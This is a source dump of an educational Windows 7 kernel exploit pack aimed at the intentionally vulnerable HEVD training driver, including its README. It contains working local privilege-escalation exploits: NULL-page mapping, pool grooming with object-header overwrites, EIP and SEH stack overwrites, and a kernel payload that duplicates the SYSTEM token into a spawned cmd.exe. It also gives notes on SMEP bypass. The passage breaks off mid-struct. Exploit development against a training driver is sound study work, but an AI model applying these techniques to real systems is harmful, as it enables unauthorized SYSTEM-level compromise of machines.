80 | wcerr << L"[!] Writing to the NULL memory page failed, due to Access Violation." 81 | << "\tThis means we were not able to map that memory page. Exploit failure." << endl; 82 | return false; 83 | } 84 | 85 | wcout << L"[+] NULL memory page successfully mapped & initialized." << endl; 86 | 87 | bool ret = driver.SendIOCTL ( 88 | ExploitNullPointerDereference::Ioctl_Code, 89 | &obj, 90 | sizeof(NullPtrObject) 91 | ); 92 | 93 | return ret; 94 | } 95 | 96 | -------------------------------------------------------------------------------- /NullPointerDereference.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "common.h" 4 | #include "IExploit.h" 5 | #include "HevdConstants.h" 6 | 7 | class ExploitNullPointerDereference : public IExploit { 8 | static constexpr wchar_t *Exploit_Name = L"Null Pointer Dereference"; 9 | static constexpr DWORD Ioctl_Code = HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE; 10 | 11 | public: 12 | ExploitNullPointerDereference(Driver& driver) : IExploit(driver) {} 13 | virtual ~ExploitNullPointerDereference() { } 14 | 15 | virtual const wchar_t* getName() const { 16 | return ExploitNullPointerDereference::Exploit_Name; 17 | }; 18 | 19 | virtual DWORD getIoctlCode() const { 20 | return ExploitNullPointerDereference::Ioctl_Code; 21 | } 22 | 23 | virtual bool exploit(); 24 | 25 | }; 26 | -------------------------------------------------------------------------------- /PoolCorruption.cpp: -------------------------------------------------------------------------------- 1 | #include "PoolCorruption.h" 2 | 3 | bool 4 | ExploitPoolCorruption::exploit() { 5 | 6 | static const size_t Max_Buffer_Size = 504; 7 | 8 | static const size_t Buffer_Size_With_Overflow = 9 | Max_Buffer_Size + sizeof(POOL_HEADER) + sizeof(OBJECT_HEADER_QUOTA) + sizeof(OBJECT_HEADER); 10 | 11 | m_handles.reset(new HANDLE[ExploitPoolCorruption::Max_Number_Of_Objects]); 12 | if(!m_handles) { 13 | throw bad_alloc(); 14 | } 15 | 16 | memset(m_handles.get(), 0xFF, sizeof(HANDLE) * Max_Number_Of_Objects); 17 | 18 | wcout << L"[+] Step 1: Performing kernel pool grooming..." << endl; 19 | if(!derandomizePool()) { 20 | return false; 21 | } 22 | 23 | wcout << L"[+] Step 2: Allocating NULL page and setting fake OBJECT_TYPE" << endl; 24 | 25 | auto shellcodePtr = adjustPayloadEpilogue(16); 26 | if(!setFakeObjectType(*shellcodePtr)) { 27 | return false; 28 | } 29 | 30 | 31 | wcout << L"[+] Step 3: Crafting DKOHM attack against Event's Object Header" << endl; 32 | 33 | // Overflowing buffer 34 | UCHAR buffer[Buffer_Size_With_Overflow]; 35 | memset(buffer, 0x41, sizeof(Max_Buffer_Size)); 36 | 37 | // Structure pointers 38 | PPOOL_HEADER poolHeader = reinterpret_cast(&buffer[Max_Buffer_Size]); 39 | 40 | POBJECT_HEADER_QUOTA objectHeaderQuota = reinterpret_cast( 41 | &buffer[Max_Buffer_Size + sizeof(POOL_HEADER)] 42 | ); 43 | 44 | POBJECT_HEADER objectHeader = reinterpret_cast( 45 | &buffer[Max_Buffer_Size + sizeof(POOL_HEADER) + sizeof(OBJECT_HEADER_QUOTA)] 46 | ); 47 | 48 | // Faking corrupted POOL_HEADER of the overflowed following chunk which should contain 49 | // Event's object. 50 | poolHeader->PreviousSize = 0x40; 51 | poolHeader->PoolIndex = 0; 52 | poolHeader->BlockSize = 0x08; 53 | poolHeader->PoolType = 0x02; 54 | poolHeader->PoolTag = 0xee657645; // 'Even' 55 | 56 | objectHeaderQuota->PagedPoolCharge = 0; 57 | objectHeaderQuota->NonPagedPoolCharge = 0x40; 58 | objectHeaderQuota->SecurityDescriptorCharge = 0; 59 | objectHeaderQuota->SecurityDescriptorQuotaBlock = 0; 60 | 61 | objectHeader->PointerCount = 1; 62 | objectHeader->HandleCount = 1; 63 | objectHeader->Lock = nullptr; 64 | objectHeader->TypeIndex = 0; // The most essential overwrite! From 0x0c to 0x00 65 | 66 | wcout << L"[+] Step 4: Launching the IOCTL..." << endl; 67 | 68 | bool ret = driver.SendIOCTL ( 69 | ExploitPoolCorruption::Ioctl_Code, 70 | buffer, 71 | Buffer_Size_With_Overflow 72 | ); 73 | 74 | wcout << L"[+] Step 5: Closing rest of the handles, the shellcode kicks in within a sec." << endl; 75 | handlesCleanup(); 76 | return ret; 77 | } 78 | 79 | bool 80 | ExploitPoolCorruption::derandomizePool() { 81 | 82 | wcout << L"\t* Allocating " << dec << Max_Number_Of_Objects 83 | << L" event kernel objects in NonPagedPool..." << endl; 84 | 85 | for(size_t i = 0; i < Max_Number_Of_Objects; i++ ) { 86 | 87 | m_handles.get()[i] = CreateEventW( 88 | nullptr, 89 | false, 90 | false, 91 | nullptr 92 | ); 93 | 94 | if(m_handles.get()[i] == (HANDLE)INVALID_HANDLE_VALUE) { 95 | wcout << L"[!] " << dec << i << L". CreateEventW failed, error: " << GetLastError() << endl; 96 | return false; 97 | } 98 | } 99 | 100 | wcout << L"\t* Freeing objects to create 0x200 pool holes..." << endl; 101 | 102 | for(size_t i = (Max_Number_Of_Objects / 2); 103 | i < (Max_Number_Of_Objects); 104 | i += 16 105 | ) { 106 | for(size_t j = 0; j < 8; j++) { 107 | CloseHandle(m_handles.get()[i + j]); 108 | m_handles.get()[i + j] = INVALID_HANDLE_VALUE; 109 | } 110 | } 111 | 112 | return true; 113 | } 114 | 115 | bool 116 | ExploitPoolCorruption::setFakeObjectType(void *shellcodeAddress) { 117 | 118 | // NULL memory page address is obviously 0 address. 119 | const PULONG nullMemoryPage = reinterpret_cast(0x00000000); 120 | 121 | // We cannot pass the NULL value (0x0) to the NtAllocateVirtualMemory, but passing 122 | // 0x1 will suffice as it gets rounded down to 0 anyway. 123 | const PVOID baseAddress = reinterpret_cast(0x00000001); 124 | 125 | // Any value in range <1, 0x1000> will be rounded-up to the 0x1000. 126 | const ULONG regionSize = 0x1000; 127 | 128 | 129 | /** 130 | * Since both VirtualAlloc and VirtualAllocEx returns ERROR_INVALID_PARAMETER if the base address of the 131 | * allocation is less than 0x00001000, we will have to use another approach to allocate this memory 132 | * page. The approach is to use the undocumented `NtAllocateVirtualMemory` function, which do not 133 | * holds the same restriction, as the aforementioned two functions. 134 | **/ 135 | 136 | wcout << L"\t* Mapping NULL memory page..." << endl; 137 | 138 | typeNtAllocateVirtualMemory NtAllocateVirtualMemory; 139 | NtAllocateVirtualMemory = reinterpret_cast(GetProcAddress( 140 | GetModuleHandleW(L"ntdll.dll"), 141 | "NtAllocateVirtualMemory" 142 | )); 143 | 144 | // NULL page mapping allocation has been prohibited in Windows 8.0, but until that it is 145 | // possible to allocate that specific memory page. 146 | NTSTATUS stat = NtAllocateVirtualMemory ( 147 | reinterpret_cast(0xffffffff), 148 | &baseAddress, 149 | 0, 150 | const_cast(®ionSize), 151 | MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, 152 | PAGE_EXECUTE_READWRITE 153 | ); 154 | 155 | if(!NT_SUCCESS(stat)) { 156 | wcerr << L"[!] NULL memory page mapping failed! Error: 0x" << hex 157 | << setw(8) << setfill(L'0') << stat << endl; 158 | return false; 159 | } 160 | 161 | try { 162 | unsigned char *fakeObjectType = reinterpret_cast(nullMemoryPage); 163 | 164 | *(reinterpret_cast( 165 | &fakeObjectType[ OFFSET_OBJECT_TYPE_TYPE_INDEX + OFFSET_OBJECT_TYPE_INITIALIZER_OKAY_TO_CLOSE] 166 | )) = reinterpret_cast(shellcodeAddress); 167 | 168 | wcout << L"\t* nt!ObTypeIndexTable[0].TypeInfo.OkayToCloseProcedure := " << shellcodeAddress << endl; 169 | 170 | } catch(...) { 171 | wcerr << L"[!] Writing to the NULL memory page failed, due to Access Violation." 172 | << "\tThis means we were not able to map that memory page. Exploit failure." << endl; 173 | return false; 174 | } 175 | 176 | return true; 177 | } 178 | -------------------------------------------------------------------------------- /PoolCorruption.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "common.h" 4 | #include "IExploit.h" 5 | #include "HevdConstants.h" 6 | 7 | 8 | // 9 | // Structs for the Windows 7 x86 Enterprise, SP1 7601, English version. 10 | // 11 | 12 | // offset of nt!_OBJECT_TYPE.TypeIndex 13 | #define OFFSET_OBJECT_TYPE_TYPE_INDEX 0x28 14 | 15 | // offset of nt!_OBJECT_TYPE_INITIALIZER.OkayToCloseProcedure 16 | #define OFFSET_OBJECT_TYPE_INITIALIZER_OKAY_TO_CLOSE 0x4c 17 | 18 | // The epilogue for the payload returning for this call should be 19 | // capable of returning with popping 16 bytes: 20 | // ret 0x10 21 | typedef BYTE (*OkayToCloseCallback)( 22 | /*PEPROCESS*/ void*, 23 | PVOID, 24 | HANDLE, 25 | /*KPROCESSOR_MODE*/ void* 26 | ); 27 | 28 | typedef struct _POOL_HEADER { 29 | 30 | union { 31 | struct { 32 | unsigned long PreviousSize : 9; 33 | unsigned long PoolIndex : 7; 34 | unsigned long BlockSize : 9; 35 | unsigned long PoolType : 7; 36 | }; 37 | unsigned long Ulong1; 38 | }; 39 | 40 | unsigned long PoolTag; 41 | 42 | } POOL_HEADER, *PPOOL_HEADER; 43 | 44 | 45 | typedef struct _OBJECT_HEADER { 46 | 47 | unsigned long PointerCount; 48 | union { 49 | unsigned long HandleCount; 50 | void *NextToFree; 51 | }; 52 | 53 | void* Lock; 54 | unsigned long TypeIndex; 55 | // ... 56 | } OBJECT_HEADER, *POBJECT_HEADER; 57 | 58 | 59 | typedef struct _OBJECT_HEADER_QUOTA { 60 | 61 | unsigned long PagedPoolCharge; 62 | unsigned long NonPagedPoolCharge; 63 | unsigned long SecurityDescriptorCharge; 64 | unsigned long SecurityDescriptorQuotaBlock; 65 | 66 | } OBJECT_HEADER_QUOTA, *POBJECT_HEADER_QUOTA; 67 | 68 | 69 | 70 | class ExploitPoolCorruption : public IExploit { 71 | 72 | static constexpr wchar_t *Exploit_Name = L"Pool Corruption"; 73 | static constexpr DWORD Ioctl_Code = HACKSYS_EVD_IOCTL_POOL_OVERFLOW; 74 | 75 | static constexpr size_t Max_Number_Of_Objects = 10000; 76 | 77 | unique_ptr m_handles; 78 | bool m_afterCleanup; 79 | 80 | public: 81 | ExploitPoolCorruption(Driver& driver) : IExploit(driver) { 82 | m_afterCleanup = false; 83 | } 84 | 85 | virtual ~ExploitPoolCorruption() { 86 | handlesCleanup(); 87 | } 88 | 89 | virtual const wchar_t* getName() const { 90 | return ExploitPoolCorruption::Exploit_Name; 91 | }; 92 | 93 | virtual DWORD getIoctlCode() const { 94 | return ExploitPoolCorruption::Ioctl_Code; 95 | } 96 | 97 | virtual bool exploit(); 98 | 99 | private: 100 | 101 | bool derandomizePool(); 102 | bool setFakeObjectType(void *shellcodeAddress); 103 | 104 | void handlesCleanup() { 105 | if(!m_afterCleanup && m_handles.get() != nullptr) { 106 | for(size_t i = 0; i < Max_Number_Of_Objects; i++) { 107 | if(m_handles.get()[i] != INVALID_HANDLE_VALUE) { 108 | CloseHandle(m_handles.get()[i]); 109 | } 110 | } 111 | 112 | m_afterCleanup = true; 113 | } 114 | } 115 | }; 116 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### HEVD_Kernel_Exploit 2 | 3 | My [HackSysExtremeVulnerableDriver](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver) exploits pack for education purposes developed under **Windows 7 x86 SP1**. The x86 version of this exploit does not bypass SMEP. 4 | 5 | Although, in the **x64** directory - some sample x64 exploits against HEVD are released that might need to employ SMEP bypasses. 6 | 7 | One thing to note - the kernel payload that has been used is a single asm naked function, albeit it is from exploit to exploit being copied to dynamically allocated RWX buffers and then in an unelegant way patched to conform specific call stack needs (in one exploit leaving `pop ebp` in other patching it out with `nops`, in one leaving `ret $8` while in other sticking to `retn`). I know this is a mess, but I never bothered to make couple of naked functions with one or two epilogues varying for this issue. 8 | 9 | 10 | --- 11 | ### Working at the moment 12 | 13 | Out of 12 vulnerabilities placed in HEVD, there are at the moment following exploits implemented: 14 | 15 | **x86**: 16 | * _Stack Overflow_ 17 | * _Arbitrary Memory Overwrite_ 18 | * _NULL Pointer Dereference_ 19 | * _Integer Overflow_ 20 | * _Type Confusion_ 21 | * _Uninitialized Stack Variable_ 22 | * _Uninitialized Heap Variable_ 23 | * _Use After Free_ 24 | * _Pool Overflow_ 25 | * _Stack Overflow GS_ 26 | * _Double Fetch_ 27 | 28 | **x64**: 29 | * _Stack Overflow_ 30 | * _Arbitrary Memory Overwrite_ via GDI SURFACE objects abuse 31 | 32 | Found to be working stable. 33 | 34 | 35 | --- 36 | ### Example: 37 | 38 | ``` 39 | HackSysExtremeVulnerableDriver 40 | Local Privilege Escalation exploit's pack' 41 | Mariusz Banach / mgeeky, '17 42 | 43 | [+] Found hevd.sys driver's base: 0x90b36000 44 | [+] Opened HackSysExtremeVulnerableDriver driver's handle. 45 | [?] Kernel shellcode in user-memory at: 0x0040676f (size: 81 bytes). 46 | 47 | -------------------------------- 48 | [01] Stack Overflow, IOCTL code: 0x00222003 49 | [02] Arbitrary Memory Overwrite / Write-What-Where, IOCTL code: 0x0022200b 50 | [03] Null Pointer Dereference, IOCTL code: 0x0022202b 51 | [04] Integer Overflow, IOCTL code: 0x00222027 52 | [05] Type Confusion, IOCTL code: 0x00222023 53 | [06] Uninitialized Stack Variable, IOCTL code: 0x0022202f 54 | [07] Uninitialized Heap Variable, IOCTL code: 0x00222033 55 | [08] Use After Free, IOCTL code: 0x00222013 56 | [09] Pool Corruption, IOCTL code: 0x0022200f 57 | [10] Stack Overflow GS, IOCTL code: 0x0022007 58 | [11] Double Fetch, IOCTL code: 0x00222037 59 | [99] Exit. 60 | 61 | [..] Select an exploit to launch against HEVD.SYS (or 99 to exit): 2 62 | 63 | -------------------------------- 64 | [.] Loading ntkrnlpa.exe 65 | [.] Determining HalDispatchTable symbol's offset... 66 | [.] Custom kernel shellcode will now be located at: 0x0x3e0000 67 | [.] Adjusting the kernel payload to make it ret 0x08 68 | [.] Constructed custom payload capable of restoring overwritten pointer. 69 | [.] Freeing memory allocated for the kernel payload. 70 | [+] `hal!HalDispatchTable+4` is located at: 0x82966404 71 | [+] Arbitrary Overwrite: 72 | - Where: 0x82966404 (hal!HaliQuerySystemInformation) 73 | - What: 0x3f0000 (address of shellcode in user space memory) 74 | 75 | [+] Issuing IOCTL: HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE 76 | [.] Input buffer: 0x0x22fd7c, size: 8 bytes. Output: 0x0 77 | [>] After sending IOCTL. ret: TRUE, last error: 0, written bytes: 0 78 | 79 | [.] Invoking overwritten pointer by calling `NtQueryIntervalProfile` 80 | [.] Exploit has been launched without errors. 81 | [.] Exploit success check: Current user: (SYSTEM), expected: (SYSTEM) 82 | [+] Succeeded. Enjoy your SYSTEM! :-) 83 | 84 | -------------------------------- 85 | 86 | Microsoft Windows [Version 6.1.7601] 87 | Copyright (c) 2009 Microsoft Corporation. All rights reserved. 88 | 89 | C:\Users\IEUser\Desktop> 90 | ``` 91 | 92 | 93 | --- 94 | ### TODO: 95 | 96 | - Last exploit: _Insecure Kernel Resource Access_ 97 | - Refactor the code to be a bit more readable and C++ friendly (especially to use some of C++17 features) 98 | - `s/system/CreateProcess` 99 | - move exploit files to a separate directory and modify `#include`s 100 | - Add `argv` parsing 101 | - Replace the shellcode to a more stable, dynamically resolved one using Kernel APIs to duplicate system token 102 | - Add some x64 exploit variants for the already implemented ones (like _Arbitrary Overwrite_) 103 | - Add SMEP bypass using ROP/or Page Tables manipulation 104 | - Add some variations of the already implemented exploits using different vectors - like `SuspendApc` for Write-What-Where 105 | - Add custom command execution from within user input or `argv` 106 | 107 | 108 | --- 109 | ### KNOWN BUGS: 110 | 111 | - **Stack Overflow GS** exploit is causing parent process to deadlock because of locked driver's handle object upon `ZwTerminateProcess`. To overcome this issue, we'll have to zero-out that object: `((nt!_HANDLE_TABLE_ENTRY*)((nt!_HANDLE_TABLE*)EPROCESS.ObjectTable.TableCode)[hDriver * 2]).Object = 0` 112 | 113 | 114 | --- 115 | 116 | ### ☕ Show Support ☕ 117 | 118 | This and other projects are outcome of sleepless nights and **plenty of hard work**. If you like what I do and appreciate that I always give back to the community, 119 | [Consider buying me a coffee](https://github.com/sponsors/mgeeky) _(or better a beer)_ just to say thank you! 💪 120 | 121 | --- 122 | 123 | ## Author 124 | 125 | ``` 126 | Mariusz Banach / mgeeky, 21 127 | 128 | (https://github.com/mgeeky) 129 | ``` 130 | -------------------------------------------------------------------------------- /StackOverflow.cpp: -------------------------------------------------------------------------------- 1 | #include "StackOverflow.h" 2 | 3 | bool 4 | ExploitStackOverflow::exploit() { 5 | 6 | static const size_t Buffer_Size = 2084; 7 | static const size_t EIP_Overwrite_Offset = 2080; 8 | 9 | /* 10 | * This won't work since Windows 8.0 / Intel Ivy Bridge (those after 2011: i3, i5, i7, and so on) 11 | * processors due to CR4.SMEP (Supervisor Mode Execution Prevention) feature preventing 12 | * Ring0 code executing code located within user-mode memory pages. 13 | * Can be bypassed in the following ways: 14 | * - Return Oriented Programming 15 | * - modifying nt!MmUserProbeAddress (equivalent of addr_limit with ULONG_MAX on Linux) 16 | * - using Reserve Objects of Windows 7, allocate, execute user-controlled 16 bytes to 17 | * clear-out the CR4.SMEP bit and then jump to the payload in user-mode memory. 18 | * - jumping to Kernel Heap on x86 19 | - - 20 | **/ 21 | auto shellcodePointer = adjustPayloadEpilogue(8, true); 22 | 23 | shared_ptr buffer( 24 | new UCHAR[Buffer_Size] 25 | ); 26 | 27 | if(!buffer) { 28 | wcerr << L"[!] Could not allocate buffer for input payload." << endl; 29 | return false; 30 | } 31 | 32 | memset(buffer.get(), 'A', Buffer_Size); 33 | 34 | *(reinterpret_cast(&buffer.get()[EIP_Overwrite_Offset])) = 35 | reinterpret_cast(*shellcodePointer); 36 | 37 | bool ret = driver.SendIOCTL ( 38 | ExploitStackOverflow::Ioctl_Code, 39 | buffer.get(), 40 | Buffer_Size 41 | ); 42 | 43 | return ret; 44 | } 45 | -------------------------------------------------------------------------------- /StackOverflow.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "common.h" 4 | #include "IExploit.h" 5 | #include "HevdConstants.h" 6 | 7 | class ExploitStackOverflow : public IExploit { 8 | static constexpr wchar_t *Exploit_Name = L"Stack Overflow"; 9 | static constexpr DWORD Ioctl_Code = HACKSYS_EVD_IOCTL_STACK_OVERFLOW; 10 | 11 | public: 12 | ExploitStackOverflow(Driver& driver) : IExploit(driver) {} 13 | virtual ~ExploitStackOverflow() {} 14 | 15 | virtual const wchar_t* getName() const { 16 | return ExploitStackOverflow::Exploit_Name; 17 | }; 18 | 19 | virtual DWORD getIoctlCode() const { 20 | return ExploitStackOverflow::Ioctl_Code; 21 | } 22 | 23 | virtual bool exploit(); 24 | }; 25 | -------------------------------------------------------------------------------- /StackOverflowGS.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | #include "StackOverflowGS.h" 5 | #include "payloads.h" 6 | 7 | 8 | typeZwClose ZwClose; 9 | typeZwOpenProcess ZwOpenProcess; 10 | typeZwDuplicateToken ZwDuplicateToken; 11 | typeZwOpenProcessToken ZwOpenProcessToken; 12 | typeZwTerminateProcess ZwTerminateProcess; 13 | typeObDerefenceObject ObDereferenceObject; 14 | typePsGetCurrentProcess PsGetCurrentProcess; 15 | typeZwSetInformationProcess ZwSetInformationProcess; 16 | typePsReferencePrimaryToken PsReferencePrimaryToken; 17 | typePsLookupProcessByProcessId PsLookupProcessByProcessId; 18 | 19 | DWORD g_dwProcessIdToElevate; 20 | 21 | 22 | template 23 | bool resolveApi(DWORD kernelBase, HINSTANCE hKernel, const string& apiName, apiType& apiPtr) 24 | { 25 | static size_t counter = 0; 26 | const wstring apiNameWide = wstring(apiName.begin(), apiName.end()); 27 | 28 | apiPtr = reinterpret_cast(GetProcAddress( 29 | hKernel, 30 | apiName.c_str() 31 | )); 32 | if(!apiPtr) { 33 | wcerr << L"[!] Could not get address of: (" << apiNameWide 34 | << L"). Error: " << getErrorString(GetLastError()) << endl; 35 | return false; 36 | } 37 | 38 | apiPtr = reinterpret_cast( 39 | (reinterpret_cast(apiPtr) - reinterpret_cast(hKernel)) + kernelBase 40 | ); 41 | 42 | wcout << L"\tAPI[ " << counter << L"]: " << apiNameWide 43 | << L" located at: 0x" << setw(8) << setfill(L'0') 44 | << reinterpret_cast(apiPtr) << endl; 45 | 46 | counter ++; 47 | return true; 48 | } 49 | 50 | bool 51 | ExploitStackOverflowGS::resolveKernelApis() 52 | { 53 | ULONG kernelModuleBase; 54 | DWORD kernelModuleSize; 55 | wstring kernelModuleName; 56 | 57 | tie(kernelModuleBase, kernelModuleSize, kernelModuleName) = driver.GetKernelModuleInfos(); 58 | 59 | HINSTANCE hKernel = LoadLibraryExW( 60 | kernelModuleName.c_str(), 61 | NULL, 62 | DONT_RESOLVE_DLL_REFERENCES 63 | ); 64 | if(!hKernel) { 65 | wcerr << L"[!] Could not load kernel's library (" << kernelModuleName << L"). Error: " 66 | << getErrorString(GetLastError()) << endl; 67 | return false; 68 | } 69 | 70 | wcout << L"[+] Resolving kernel (" << kernelModuleName << L") APIs..." << endl; 71 | 72 | if(!resolveApi(kernelModuleBase, hKernel, "ZwClose", ZwClose)) return false; 73 | if(!resolveApi(kernelModuleBase, hKernel, "ZwOpenProcess", ZwOpenProcess)) return false; 74 | if(!resolveApi(kernelModuleBase, hKernel, "ZwDuplicateToken", ZwDuplicateToken)) return false; 75 | if(!resolveApi(kernelModuleBase, hKernel, "ZwOpenProcessToken", ZwOpenProcessToken)) return false; 76 | if(!resolveApi(kernelModuleBase, hKernel, "ZwTerminateProcess", ZwTerminateProcess)) return false; 77 | if(!resolveApi(kernelModuleBase, hKernel, "PsGetCurrentProcess", PsGetCurrentProcess)) return false; 78 | if(!resolveApi(kernelModuleBase, hKernel, "ObDereferenceObject", ObDereferenceObject)) return false; 79 | if(!resolveApi(kernelModuleBase, hKernel, "ZwSetInformationProcess", ZwSetInformationProcess)) return false; 80 | if(!resolveApi(kernelModuleBase, hKernel, "PsReferencePrimaryToken", PsReferencePrimaryToken)) return false; 81 | if(!resolveApi(kernelModuleBase, hKernel, "PsLookupProcessByProcessId", PsLookupProcessByProcessId)) return false; 82 | 83 | return true; 84 | } 85 | 86 | NTSTATUS 87 | ExploitStackOverflowGS::ElevatePrivilegesPayload() 88 | { 89 | #ifdef USE_INT_3_IN_SHELLCODE 90 | asm("int $3"); 91 | #endif 92 | 93 | OBJECT_ATTRIBUTES ObjectAttributes; 94 | NTSTATUS ntStatus = STATUS_SUCCESS; 95 | PEPROCESS TargetProcess = NULL; 96 | HANDLE hSystem = NULL; 97 | HANDLE hSystemToken = NULL; 98 | HANDLE hNewPrivilegedToken = NULL; 99 | HANDLE hTargetProcess = NULL; 100 | PROCESS_ACCESS_TOKEN AccessToken = { 0 }; 101 | CLIENT_ID SystemClientId = { 102 | reinterpret_cast(4), // SYSTEM process id (PID) 103 | NULL 104 | }; 105 | 106 | CLIENT_ID TargetClientId = { 107 | reinterpret_cast(g_dwProcessIdToElevate), 108 | NULL 109 | }; 110 | 111 | InitializeObjectAttributes( 112 | &ObjectAttributes, 113 | NULL, 114 | 0, 115 | NULL, 116 | NULL 117 | ); 118 | 119 | // Step 1: Open SYSTEM's process 120 | ntStatus = ZwOpenProcess( 121 | &hSystem, 122 | GENERIC_ALL, 123 | &ObjectAttributes, 124 | &SystemClientId 125 | ); 126 | 127 | if(!NT_SUCCESS(ntStatus)) { 128 | goto err; 129 | } 130 | 131 | // Step 2: Get SYSTEM's process Token 132 | ntStatus = ZwOpenProcessToken( 133 | hSystem, 134 | GENERIC_ALL, 135 | &hSystemToken 136 | ); 137 | 138 | if(!NT_SUCCESS(ntStatus)) { 139 | goto err; 140 | } 141 | 142 | InitializeObjectAttributes( 143 | &ObjectAttributes, 144 | NULL, 145 | 0, 146 | NULL, 147 | NULL 148 | ); 149 | 150 | // Step 3: Duplicate SYSTEM's process Token 151 | ntStatus = ZwDuplicateToken( 152 | hSystemToken, 153 | TOKEN_ALL_ACCESS, 154 | &ObjectAttributes, 155 | TRUE, 156 | TokenPrimary, 157 | &hNewPrivilegedToken 158 | ); 159 | 160 | if(!NT_SUCCESS(ntStatus)) { 161 | goto err; 162 | } 163 | 164 | InitializeObjectAttributes( 165 | &ObjectAttributes, 166 | NULL, 167 | 0, 168 | NULL, 169 | NULL 170 | ); 171 | 172 | // Step 4: Open target process 173 | ntStatus = ZwOpenProcess( 174 | &hTargetProcess, 175 | GENERIC_ALL, 176 | &ObjectAttributes, 177 | &TargetClientId 178 | ); 179 | 180 | if(!NT_SUCCESS(ntStatus)) { 181 | goto err; 182 | } 183 | 184 | AccessToken.Token = hNewPrivilegedToken; 185 | 186 | #ifdef USE_INT_3_IN_SHELLCODE 187 | asm("int $3"); 188 | #endif 189 | 190 | // Fix the issue with PrimaryTokenFrozen 191 | ntStatus = PsLookupProcessByProcessId( 192 | reinterpret_cast(g_dwProcessIdToElevate), 193 | &TargetProcess 194 | ); 195 | 196 | if(!NT_SUCCESS(ntStatus)) { 197 | goto err; 198 | } 199 | 200 | TargetProcess->PrimaryTokenFrozen = 0; 201 | 202 | ObDereferenceObject(TargetProcess); 203 | 204 | #ifdef USE_INT_3_IN_SHELLCODE 205 | asm("int $3"); 206 | #endif 207 | 208 | // Step 5: Set duplicated system's token to the target process' token 209 | ntStatus = ZwSetInformationProcess( 210 | hTargetProcess, 211 | ProcessAccessToken, 212 | &AccessToken, 213 | sizeof(PROCESS_ACCESS_TOKEN) 214 | ); 215 | 216 | err: 217 | if(hNewPrivilegedToken != NULL) { 218 | ZwClose(hNewPrivilegedToken); 219 | } 220 | 221 | if(hTargetProcess != NULL) { 222 | ZwClose(hTargetProcess); 223 | } 224 | 225 | if(hSystem != NULL) { 226 | ZwClose(hSystem); 227 | } 228 | 229 | if(hSystemToken != NULL) { 230 | ZwClose(hSystemToken); 231 | } 232 | 233 | #ifdef USE_INT_3_IN_SHELLCODE 234 | asm("int $3"); 235 | #endif 236 | ZwTerminateProcess( 237 | GetCurrentProcess(), 238 | STATUS_SUCCESS 239 | ); 240 | 241 | return ntStatus; 242 | } 243 | 244 | 245 | bool 246 | ExploitStackOverflowGS::exploit() { 247 | 248 | static const size_t Page_Size = 4096; 249 | static const size_t SEH_Overwrite_Offset = 0x210; 250 | 251 | if(!resolveKernelApis()) { 252 | return false; 253 | } 254 | 255 | assert(ZwClose != nullptr); 256 | 257 | auto shellcodePointer = reinterpret_cast( 258 | ExploitStackOverflowGS::ElevatePrivilegesPayload 259 | ); 260 | 261 | wcout << L"[+] The Kernel shellcode is located at: " << setw(8) 262 | << setfill(L'0') << hex << shellcodePointer << endl; 263 | 264 | wcout << L"[+] Step 1: Create anonymous file mapping" << endl; 265 | 266 | HANDLE mapping = CreateFileMapping( 267 | INVALID_HANDLE_VALUE, 268 | NULL, 269 | PAGE_EXECUTE_READWRITE, 270 | 0, 271 | Page_Size, 272 | NULL 273 | ); 274 | 275 | if(!mapping) { 276 | wcerr << L"[!] Could not create anonymous file mapping! Error: 0x" << hex 277 | << setw(8) << setfill(L'0') << GetLastError() << endl; 278 | return false; 279 | } 280 | 281 | wcout << L"[+] Step 2: Mapping view of file" << endl; 282 | 283 | LPVOID mappedRegion = MapViewOfFile( 284 | mapping, 285 | FILE_MAP_ALL_ACCESS, 286 | 0, 287 | 0, 288 | Page_Size 289 | ); 290 | 291 | if(!mappedRegion) { 292 | wcerr << L"[!] Could not map view of file! Error: 0x" << hex 293 | << setw(8) << setfill(L'0') << GetLastError() << endl; 294 | CloseHandle(mapping); 295 | return false; 296 | } 297 | 298 | PVOID bufferPointer = reinterpret_cast( 299 | reinterpret_cast(mappedRegion) + 300 | (static_cast(Page_Size - SEH_Overwrite_Offset - 4)) 301 | ); 302 | 303 | wcout << L"\tFile mapping region at: " << hex << setw(8) << setfill(L'0') << mappedRegion 304 | << L"\n\tAttacker prepared buffer at: " << hex << setw(8) << setfill(L'0') 305 | << bufferPointer << endl; 306 | 307 | memset(bufferPointer, 'A', SEH_Overwrite_Offset); 308 | 309 | *(reinterpret_cast( 310 | &reinterpret_cast(bufferPointer)[SEH_Overwrite_Offset] 311 | )) = reinterpret_cast(shellcodePointer); 312 | 313 | g_dwProcessIdToElevate = spawnProcessAndGetPID(L"C:\\Windows\\system32\\cmd.exe"); 314 | if(!g_dwProcessIdToElevate) { 315 | return false; 316 | } 317 | 318 | wcout << L"[+] The process' PID to be eleveated: " << dec << g_dwProcessIdToElevate << endl; 319 | 320 | Sleep(1000); 321 | 322 | bool ret = driver.SendIOCTL ( 323 | ExploitStackOverflowGS::Ioctl_Code, 324 | bufferPointer, 325 | SEH_Overwrite_Offset + 8 326 | ); 327 | 328 | CloseHandle(mapping); 329 | return ret; 330 | } 331 | 332 | -------------------------------------------------------------------------------- /StackOverflowGS.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "common.h" 4 | #include "IExploit.h" 5 | #include "HevdConstants.h" 6 | 7 | typedef struct _PROCESS_ACCESS_TOKEN { 8 | HANDLE Token; 9 | HANDLE Thread; 10 | } PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN; 11 | 12 | typedef struct _EPROCESS { 13 | UCHAR NotNeeded1[0x26C]; 14 | union { 15 | ULONG Flags2; 16 | struct { 17 | ULONG JobNotReallyActive: 1; 18 | ULONG AccountingFolded: 1; 19 | ULONG NewProcessReported: 1; 20 | ULONG ExitProcessReported: 1; 21 | ULONG ReportCommitChanges: 1; 22 | ULONG LastReportMemory: 1; 23 | ULONG ReportPhysicalPageChanges: 1; 24 | ULONG HandleTableRundown: 1; 25 | ULONG NeedsHandleRundown: 1; 26 | ULONG RefTraceEnabled: 1; 27 | ULONG 